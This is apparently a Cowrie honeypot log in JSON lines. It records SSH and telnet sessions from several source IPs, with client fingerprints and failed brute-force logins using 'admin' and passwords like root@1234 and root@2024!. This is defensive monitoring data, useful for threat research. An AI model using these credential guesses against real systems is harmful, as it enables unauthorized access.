{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:48.857960Z","src_ip":"159.203.92.129","session":"4f2285e788b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@1234","message":"login attempt [admin/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:48.874717Z","src_ip":"159.203.92.129","session":"4f2285e788b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:00:49.882351Z","src_ip":"159.203.92.129","session":"4f2285e788b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.95150804519653,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:01:14.340356Z","src_ip":"221.121.143.23","session":"8ab476c6b4e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.69218039512634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:01:18.743486Z","src_ip":"221.121.143.23","session":"1f33e9584d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36220,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27391a741f6","protocol":"ssh","message":"New connection: 159.203.92.129:36220 (159.203.135.109:22) [session: e27391a741f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:01:33.983567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:01:33.989657Z","src_ip":"159.203.92.129","session":"e27391a741f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:01:33.993221Z","src_ip":"159.203.92.129","session":"e27391a741f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@12345","message":"login attempt [admin/root@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:01:34.004623Z","src_ip":"159.203.92.129","session":"e27391a741f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:01:35.011739Z","src_ip":"159.203.92.129","session":"e27391a741f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49772,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a465877ad0","protocol":"ssh","message":"New connection: 159.203.92.129:49772 (159.203.135.109:22) [session: 18a465877ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:18.454821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:18.459595Z","src_ip":"159.203.92.129","session":"18a465877ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:18.464196Z","src_ip":"159.203.92.129","session":"18a465877ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@123456","message":"login attempt [admin/root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:18.475351Z","src_ip":"159.203.92.129","session":"18a465877ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:19.482083Z","src_ip":"159.203.92.129","session":"18a465877ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.121.143.23","src_port":45530,"dst_ip":"10.17.0.5","dst_port":23,"session":"f71aac87c382","protocol":"telnet","message":"New connection: 221.121.143.23:45530 (10.17.0.5:23) [session: f71aac87c382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:25.811368Z"}
{"eventid":"cowrie.session.closed","duration":120.0014317035675,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:31.870980Z","src_ip":"88.186.98.14","session":"e5c32a1f06d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00143098831177,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:41.611243Z","src_ip":"88.186.98.14","session":"604df6aebbc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00097632408142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:46.877857Z","src_ip":"88.186.98.14","session":"3958bdc46b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":21782,"dst_ip":"159.203.135.109","dst_port":22,"session":"176e2e488af1","protocol":"ssh","message":"New connection: 45.227.254.170:21782 (159.203.135.109:22) [session: 176e2e488af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:55.089875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:55.095538Z","src_ip":"45.227.254.170","session":"176e2e488af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:55.199158Z","src_ip":"45.227.254.170","session":"176e2e488af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:55.647419Z","src_ip":"45.227.254.170","session":"176e2e488af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.852583169937134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:02:58.663844Z","src_ip":"221.121.143.23","session":"f71aac87c382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55368,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ed416786f5e","protocol":"ssh","message":"New connection: 159.203.92.129:55368 (159.203.135.109:22) [session: 9ed416786f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:03.336022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:03.341125Z","src_ip":"159.203.92.129","session":"9ed416786f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:03.347258Z","src_ip":"159.203.92.129","session":"9ed416786f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@2021","message":"login attempt [admin/root@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:03.365243Z","src_ip":"159.203.92.129","session":"9ed416786f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:04.374586Z","src_ip":"159.203.92.129","session":"9ed416786f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39784,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae0eedd9bf93","protocol":"ssh","message":"New connection: 159.203.92.129:39784 (159.203.135.109:22) [session: ae0eedd9bf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:47.573951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:47.580753Z","src_ip":"159.203.92.129","session":"ae0eedd9bf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:47.589812Z","src_ip":"159.203.92.129","session":"ae0eedd9bf93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@2024!","message":"login attempt [admin/root@2024!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:47.628884Z","src_ip":"159.203.92.129","session":"ae0eedd9bf93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:03:48.637031Z","src_ip":"159.203.92.129","session":"ae0eedd9bf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54780,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c068834dde3","protocol":"ssh","message":"New connection: 159.203.92.129:54780 (159.203.135.109:22) [session: 9c068834dde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:04:32.655803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:04:32.659885Z","src_ip":"159.203.92.129","session":"9c068834dde3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:04:32.664227Z","src_ip":"159.203.92.129","session":"9c068834dde3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@root123","message":"login attempt [admin/root@root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:04:32.674668Z","src_ip":"159.203.92.129","session":"9c068834dde3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:04:33.681253Z","src_ip":"159.203.92.129","session":"9c068834dde3","protocol":"ssh"}
